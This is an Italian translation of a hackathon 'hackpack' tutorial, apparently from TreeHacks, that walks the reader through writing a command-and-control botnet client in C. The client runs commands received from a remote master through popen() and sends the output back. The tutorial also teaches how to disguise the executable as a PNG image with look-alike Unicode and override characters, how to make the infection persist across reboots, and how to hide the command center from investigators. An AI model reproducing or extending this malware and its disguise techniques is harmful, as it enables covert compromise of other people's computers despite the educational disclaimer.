
Costruisci una botnet di comando e controllo di base in C
Questo hackpack ti guiderà nell'implementazione di un framework di base che caratterizza fondamentalmente un botnet. Potrebbe esserti utile se hai già lavorato con il C. Se ti è piaciuto questo tutorial, assicurati di mettere una stella su questa repo!
Nota: non usare nulla di ciò che impari qui per scopi malevoli. Questo hackpack è esclusivamente un caso di studio sui botnet a scopo educativo. I concetti appresi in questo hackpack hanno casi d'uso di ampia portata (praticamente tutto ciò che riguarda le reti). La cosa più importante è che questo hackpack è pensato per essere testato e distribuito localmente (quindi per favore non condividere nulla di ciò che costruisci legato a questo hackpack con altri hacker). La privacy è importante, quindi per favore rispettala.
Prima di costruire un botnet, è importante capire cosa sia un botnet. Un botnet è una rete di computer in grado di ricevere comandi da remoto e di eseguirli localmente. Facoltativamente, possono scegliere di inoltrare le informazioni ad altri nodi della rete. Sono stati usati per qualsiasi cosa, dagli attacchi Distributed Denial of Service alla diffusione su larga scala di spyware. Potresti aver sentito parlare di molti botnet in passato. I più noti sono forse Mirai e Gameover Zeus, che controllavano rispettivamente 3.8 mila e 3.6 milioni di dispositivi IoT. C'è molta variabilità nel modo in cui i botnet implementano determinati compiti. Ma per costruire il nostro botnet con successo, dobbiamo garantire le seguenti caratteristiche nella nostra rete funzionante.
Il nostro botnet dovrebbe:
Questa struttura è caratteristica di ciò che è noto come botnet Command & Control. Questi botnet hanno un server master e molti server slave. Tuttavia, questo stile di botnet è antiquato e può essere facilmente abbattuto interrompendo l'accesso al dominio master. I botnet più recenti e sofisticati seguono un'architettura peer-to-peer, in cui i diritti di amministrazione sono distribuiti su tutti i nodi o su un sottoinsieme di nodi della rete. Questi botnet rappresentano un grande mal di testa per gli esperti di sicurezza perché non esiste un punto di controllo centrale e possono crescere fino a milioni di nodi. Abbattere questi botnet è di per sé una lettura interessante. Tuttavia, ai fini di questo hackpack, manteniamo le cose semplici. Implementeremo un semplice nodo slave per un botnet C&C.

Questo hackpack si occuperà principalmente dell'implementazione del malware client. Per il server master, possiamo usare un server TCP open-source chiamato Netcat. Netcat non ha nulla a che fare con i botnet. È solo uno strumento comodo e affermato che possiamo riutilizzare per inviare e ricevere pacchetti di testo dai client (che è tutto ciò che un master realmente è). Ho leggermente modificato il server netcat e l'ho compilato in un binario chiamato "master". Non serve altro lavoro qui! Il nostro master è pronto per l'uso.
Passiamo alla parte più interessante: ricevere ed eseguire comandi remoti (ci preoccuperemo di mascherare il nostro malware più avanti). L'obiettivo qui è rendere il nostro nodo slave il più semplice possibile e soddisfare i requisiti dettagliati sopra. Nota che molte costanti sono state definite in lib/macros.h, quindi sentiti libero di usarle. Tutte le firme delle funzioni implementate si trovano in lib/connect.h o lib/utils.h.
Apri il file bot.c. Quando si avvia un nuovo nodo nel nostro server, probabilmente dovremmo dargli un nome in modo che il master sappia a quali client inviare i comandi. Esistono molte convenzioni di denominazione che possono essere utilizzate. Usare un indirizzo IP è probabilmente la scelta migliore perché è un identificatore univoco per ogni client. Tuttavia, per rendere le cose più leggibili per gli esseri umani, usiamo il nome utente del computer. Usando la funzione C getenv() con l'argomento "USER" si ottiene ciò che il computer ha memorizzato nella variabile d'ambiente USER. Questo è uno dei punti in cui è memorizzato il nome utente, quindi usiamolo. Inoltre, ora che il tuo slave è in esecuzione, troviamo il master. Per fare questo, dobbiamo conoscere l'indirizzo IP del nostro master. Ogni dispositivo di rete ha un indirizzo IP. È responsabile dell'identificazione degli altri nodi e dell'indirizzamento della posizione. Inoltre, il master può avere molti server in esecuzione su porte diverse. Quindi, non solo dobbiamo connetterci al master, ma dovremmo anche specificare la porta corretta. Questa porta è scelta dal master ma può essere modificata. In questo hackpack, vogliamo testare in locale. Quindi, useremo il tuo computer come nostra rete. L'indirizzo IP locale di ogni computer (a cui "localhost" risolve anch'esso) è "127.0.0.1". Nel master, ho specificato che deve girare sulla porta 9999. Con queste tre cose (indirizzo IP del master, porta del master e nome dello slave), possiamo avviare una pipeline di comunicazione tra server e client chiamata socket. Passa questi tre argomenti alla funzione init_socket() per creare una socket. init_function() non è un comando C integrato. Piuttosto, dobbiamo implementarlo noi. Poi, dobbiamo allocare un po' di spazio sullo stack per contenere i messaggi in arrivo. Siamo abbastanza generosi e usiamo circa 10KB di spazio nello stack. Chiama questo puntatore allo stack msg. Infine, c'è un'istruzione per indicare che tutto sta andando bene.
char* name = //Get the client's username and store it in name
int channel = //initiate a channel given SERVER, PORT, and name;
//Allocate stack space of size CMD_LENGTH to hold data of type char. Call the stack pointer msg
printf("%s joining the botnet\n", name);
Ora passa a lib/connect.c. Implementiamo init_channel(). Per prima cosa ho definito un buffer di stack char chiamato msg di lunghezza CMD_LENGTH e una speciale costruzione di rete C chiamata server che contiene informazioni sulla nostra connessione al master. Per prima cosa converti l'indirizzo IP passato da un formato leggibile dall'uomo (con numeri e punti) a un formato binario in ordine di byte di rete. Questo viene fatto usando una speciale funzione C chiamata inet_addr() della libreria socket. Prende semplicemente un indirizzo IP e lo restituisce in binario utilizzabile dalla rete. In C, possiamo facilmente specificare una rete compilando i campi di una struct chiamata sockaddr_in. La nostra istanza di quella struct si chiama server. Dobbiamo compilare 3 campi di questa struct: server.sin_addr.s_addr (l'indirizzo IP del master), server.sin_family (un valore di 1 byte che specifica il dominio di comunicazione) e server.sin_port (la porta a cui ci connetteremo sul master). Il campo sin_family può essere impostato con le macro C fornite dalla libreria socket. Di solito, come in questo caso, impostiamo questo campo su AF_INET. Ciò significa che la nostra connessione identifica i nodi della rete tramite i loro indirizzi IP, che è ciò che vogliamo. Tuttavia, è anche possibile usare PF_INET, che è simile a AF_INET ma specifica che la rete può usare qualsiasi cosa all'interno del protocollo per identificare nodi specifici. Ci sono anche molti presunti motivi storici per cui esistono entrambi, ma è qualcosa che non conosco davvero né mi interessa. Usa semplicemente . Infine, quando imposti la porta del server, devi passare attraverso una funzione speciale chiamata (host to network short). Questa converte i dati dall'ordine dei byte dell'host all'ordine dei byte di rete. Questo pasticcio di ordine dei byte ha a che fare con qualcosa chiamato Endianness. Puoi leggere di più .
Infine, dobbiamo definire la connessione vera e propria tra master e slave! Per fare questo, definisci una socket di rete attraverso la quale i dati possono essere inviati. Pensa al master come se avesse molte 'prese elettriche'. Ora, dobbiamo costruire una 'spina' sullo slave che si adatti alle 'prese a muro' del master. Possiamo farlo usando la funzione socket() della libreria socket. Che comodità! socket() accetta 3 argomenti: dominio di comunicazione, tipo di socket e protocollo. Per il dominio di comunicazione, probabilmente lo hai già indovinato: AF_INET. Per il tipo di socket, vogliamo che la nostra socket trasmetta semplicemente dati in entrambe le direzioni. Quindi, usa la macro data SOCK_STREAM. Non preoccupiamoci del protocollo della socket. Questa è una rete abbastanza fondamentale, quindi usiamo un valore di 0 per indicare il protocollo predefinito. La funzione restituisce un int che rappresenta la socket. Memorizza questo valore in channel. Successivamente, vogliamo avviare la nostra socket (inserendo lo slave nella presa a muro del master). Chiama la funzione C connect(). Questa accetta tre argomenti: il canale, la struct sockaddr e la dimensione della struct in byte. Se connect() restituisce un intero positivo, la tua connessione con il master è riuscita! Per testare la nostra nuova connessione, inviamo un saluto al master! Popola il nostro buffer dei messaggi e usa respond() (ancora da implementare) per inviare attraverso il canale al master. Infine, vogliamo che la funzione restituisca questa connessione riuscita.
int init_channel (char *ip, int port, char *name) {
char msg[CMD_LENGTH];
struct sockaddr_in server;
server.sin_addr.s_addr = //convert the ip to network byte order
server.sin_family = //set the server's communications domain
server.sin_port = //convert port to network byte order
int channel = //define a SOCK_STREAM socket
if(channel < 0) {
perror ("socket:");
exit(1);
}
int connection_status = //use the defined channel to connect the slave to the master server
if (connection_status < 0) {
perror ("connect:");
exit(1);
}
//send a greeting message back to master by loading a string into msg (hint: snprintf will come in handy)
respond (channel, msg);
return channel;
}
Una volta che lo slave è connesso al master, deve essere costantemente in ascolto dei messaggi e agire immediatamente su un comando. Quindi, usiamo un ciclo while infinito per ricevere e analizzare questi messaggi. In bot.c, sotto l'istruzione printf, aggiungi un ciclo while infinito che chiama due funzioni: recieve() e parse() in quest'ordine. Entrambe le funzioni accettano come argomenti channel e il buffer di stack msg. Puoi trovare le loro firme in lib/utils.h. Dovrebbe essere qualcosa del genere:
Infinite Loop {
recieve(...);
parse(...);
}
Vai su utils.c per implementare recieve() e respond(). recieve() riceve i messaggi dal canale e respond() reinvia i messaggi attraverso il canale. I parametri di respond() sono l'indirizzo della socket, s, e il nostro buffer di stack, msg_buf. Vogliamo usare la funzione C write() per scrivere tutto ciò che il buffer di stack contiene nel canale e restituirne lo stato. write() richiede 3 argomenti: indirizzo della socket, buffer del messaggio e lunghezza del messaggio.
int respond(int s, char *msg_buf) {
//write the contents of msg_buf into socket s and return status
}
Anche recieve() è un semplice helper. Azzera il buffer msg (suggerimento: usa memset()). Ora, chiama la funzione read() della libreria socket per leggere msg. read() accetta 3 argomenti: indirizzo della socket, buffer del messaggio e lunghezza massima prevista del messaggio.
int recieve(int s, char *msg) {
//reset the msg buffer
int read_status = //read contents of socket s into msg
if (read_status) {
perror("log:");
exit(1);
}
return 0;
}
Quasi fatto! Il nostro botnet è piuttosto noioso al momento. Può solo ricevere e trasmettere messaggi attraverso una socket. Facciamo sì che esegua davvero ciò che riceve sul Terminale. Per prima cosa implementiamo la funzione parse(). Fa esattamente ciò che suggerisce il nome: analizza il comando. Potremmo fare un semplice controllo degli errori per vedere se un messaggio è malformato. Inoltre, vogliamo ignorare silenziosamente i messaggi che sono stati ricevuti ma non destinati a noi. Il messaggio sarà formattato dal master come (nome del botnet):(comando da eseguire). Ho già fatto il primo controllo per te. Se entrambi i controlli vengono superati, passiamo il comando alla funzione execute().
int parse (int s, char *msg, char* name) {
char *target = msg;
//check whether the msg was targetted for this client. If no, then silently drop the packet by returning 0
char *cmd = strchr(msg, ':');
if (cmd == NULL) {
printf("Incorrect formatting. Reference: TARGET: command");
return -1;
}
//adjust the cmd pointer to the start of the actual command
//adjust the terminated character to the end of the command
//print a local statement detailing what command was recieved
execute (s, cmd);
return 0;
}
Ora arriva la parte interessante. execute() dovrebbe inviare qualsiasi comando riceva al terminale e scrivere qualsiasi output nella socket di ritorno al master. Crea un buffer di stack per memorizzare ogni riga di input. Poi usa la funzione C popen() per eseguire l'input e memorizzare l'output nel file f (ci sono molti modi per procedere a questo punto. Puoi personalizzare il tuo botnet per fare cose davvero interessanti con l'input del master ed eseguire collaborazioni/aggiornamenti autonomi con altri nodi nel botnet. Sentiti libero di essere creativo quanto vuoi. Noi per ora ci atterremo al nostro obiettivo semplice). Scorri f riga per riga e invia tutto attraverso la tua socket. Chiudi f e il gioco è fatto!
int execute (int s, char *cmd) {
FILE *f = //use popen to run the command locally
if (!f) return -1;
while (!feof (f)) {
//parse through f line by line and send any output back to master
}
fclose(f);
return 0;
}
Compila il tuo nuovo botnet con il seguente comando da terminale:
gcc -lcurl lib/connect.c lib/utils.c bot.c -o bin/slave
Esegui bin/master in una finestra del terminale e bin/slave in altre finestre. Digita i comandi come (nome utente slave):(comando da terminale remoto). Congratulazioni! Hai appena costruito un botnet!
Ci sono cose davvero interessanti che puoi fare per mascherare e distribuire malware. In effetti, è un intero campo a sé stante. Un esempio di ciò che puoi fare è mascherare il malware come immagine. Usiamo un'immagine di un panda. Ho aggiunto una semplice funzione in utils.c che scarica un'immagine di un panda con curl e la presenta in Anteprima. Questo dà all'utente l'impressione di aprire un'immagine di un panda quando in realtà sta eseguendo il tuo malware. Per aggiungere questo, includi le seguenti righe di codice in bot.c:
char* open_cmd = alias_img();
system(open_cmd);
free(open_cmd);
Successivamente, fai clic con il tasto destro su qualsiasi immagine e scegli "Informazioni". Fai lo stesso con bin/slave. Trascina la miniatura dell'immagine sulla miniatura dell'eseguibile di bin/slave. Questo dovrebbe cambiarne l'aspetto sul desktop. Tuttavia, ci manca ancora la caratteristica estensione finale .png. Rinomina il tuo eseguibile in
panda⒈png
Ora sembra un file png. Tuttavia, usiamo il carattere Unicode "1." invece di "." per nascondere il fatto che questo è ancora un eseguibile Unix. Ci sono molti altri trucchi Unix più credibili che puoi usare, come il carattere LEFT-TO-RIGHT OVERRIDE per mascherare i nomi dei file eseguibili. In casi più estremi, puoi incorporare codice all'interno di immagini e macro di file per eseguirlo contemporaneamente all'apertura dell'host (un po' come un cavallo di Troia....). Tuttavia, poiché nessuno a TreeHacks è un criminale informatico, non dovremmo preoccuparci troppo di queste tecniche ;).
Ora che hai un botnet completamente funzionante, ci sono molte estensioni con cui puoi metterti alla prova. Il nostro botnet è ancora piuttosto poco interessante. Non può fare molto a meno che l'utente non ci clicchi sopra ogni volta. Ecco alcuni suggerimenti:
I botnet possono davvero diventare fonti affidabili di attività dannose per gli aggressori se in qualche modo rimangono su un computer anche quando il computer si spegne. Prova a sperimentare come puoi avviare di nuovo il tuo slave ogni volta all'avvio del sistema. In questo modo, una volta che un utente fa clic sul malware, infetta il suo computer fino a quando non lo ripulisce. Un suggerimento per ottenere questo risultato è trasformare il tuo processo eseguibile in un demone. Quindi, genera un file di configurazione che aggiunge il tuo eseguibile a un elenco di demoni che dovrebbero essere eseguiti all'avvio (le applicazioni di cloud storage, le piattaforme di messaggistica di squadra, ecc. lo fanno già). Scopri di più qui.
Implementare una rete peer to peer non è altro che riorganizzare il design della rete. Tuttavia, la chiave della rete P2P è che l'amministratore/aggressore può ottenere il controllo master attraverso qualsiasi nodo della rete. Quindi, l'aggressore dovrebbe avere una sorta di chiave master e un accesso crittografato che consenta il controllo master di qualsiasi nodo. Leggi di più su come funzionano le reti peer to peer qui.
La struttura master-slave che hai implementato non è molto sicura. Gli slave possono essere facilmente liberati uccidendo il nodo master. Idealmente, passeresti a un design P2P. Tuttavia, puoi anche aumentare leggermente la sicurezza del master dirigendo i suoi comandi casualmente attraverso una serie di bot controllati dall'aggressore prima che vengano distribuiti sul botnet. Questo rende più difficile per gli esperti individuare il centro di comando e tracciare le chiamate botnet tra i nodi dell'aggressore e i nodi client.
Forse, cosa più importante, vuoi sperimentare di più con le reti. La nostra rete è la più semplice possibile. Per molti versi è estremamente debole e sicuramente non rigorosa. Quindi, potresti voler esplorare protocolli di rete consolidati come Internet Relay Chat (IRC) per costruire una rete più appropriata. Anche se richiede tempo, è estremamente educativo e un investimento ben speso. Leggi di più qui: https://oramind.com/tutorial-how-to-make-an-irc-server-connection/.
In questo hackpack, abbiamo usato un progetto open-source liberamente disponibile come sostituto del nostro server master. Tuttavia, ci sono molti svantaggi. Primo, non possiamo personalizzare il nostro server master per inviare comandi automatici attraverso la nostra rete. È limitato esclusivamente all'uso dell'input da riga di comando. Secondo, potresti aver notato che tutti gli slave sul botnet ricevono ogni comando. La nostra condizione per l'esecuzione è verificare se il nome del target corrisponde al nome dello slave. Se falso, il comando viene scartato silenziosamente. Questa è nota come rete broadcast. Qualcosa di più ottimale potrebbe essere una rete multicast. In una rete broadcast, un nodo inoltra i pacchetti a tutti i nodi connessi. In un sistema multicast, è possibile specificare un certo sottoinsieme di nodi che riceveranno i pacchetti. Inoltre, l'uso di una rete multicast sposta l'assegnazione dei comandi dal client al server master, dove dovrebbe stare. Implementa il tuo master per far passare il botnet da broadcast a multicast.
Per una guida completa alla programmazione di rete, fai riferimento a questo: http://beej.us/guide/bgnet/output/html/multipage/index.html.
Spero che tu abbia fatto divertente!
MIT
Gli HackPacks sono costruiti dal team di TreeHacks per aiutare gli hacker a costruire grandi progetti al nostro hackathon che si tiene ogni febbraio a Stanford. Crediamo che chiunque, a qualsiasi livello di abilità, possa imparare a creare cose fantastiche, e questo è uno dei modi in cui aiutiamo a facilitare la cultura hacker. Rendiamo open source i nostri hackpack (insieme alla nostra tecnologia interna) così tutti possono imparare e usarli! Sentiti libero di usarli ai tuoi hackathon, workshop e qualsiasi altra cosa che promuova il costruire :)
Se sei interessato a partecipare a TreeHacks, puoi fare domanda sul nostro sito web durante il periodo di candidatura.
Puoi seguirci qui su GitHub per vedere tutto il lavoro open source che facciamo (amiamo issue, contributi e feedback di qualsiasi tipo!), e su Facebook, Twitter e Instagram per vedere gli aggiornamenti generali di TreeHacks.
printfAF_INETporthtons()msginit_channel()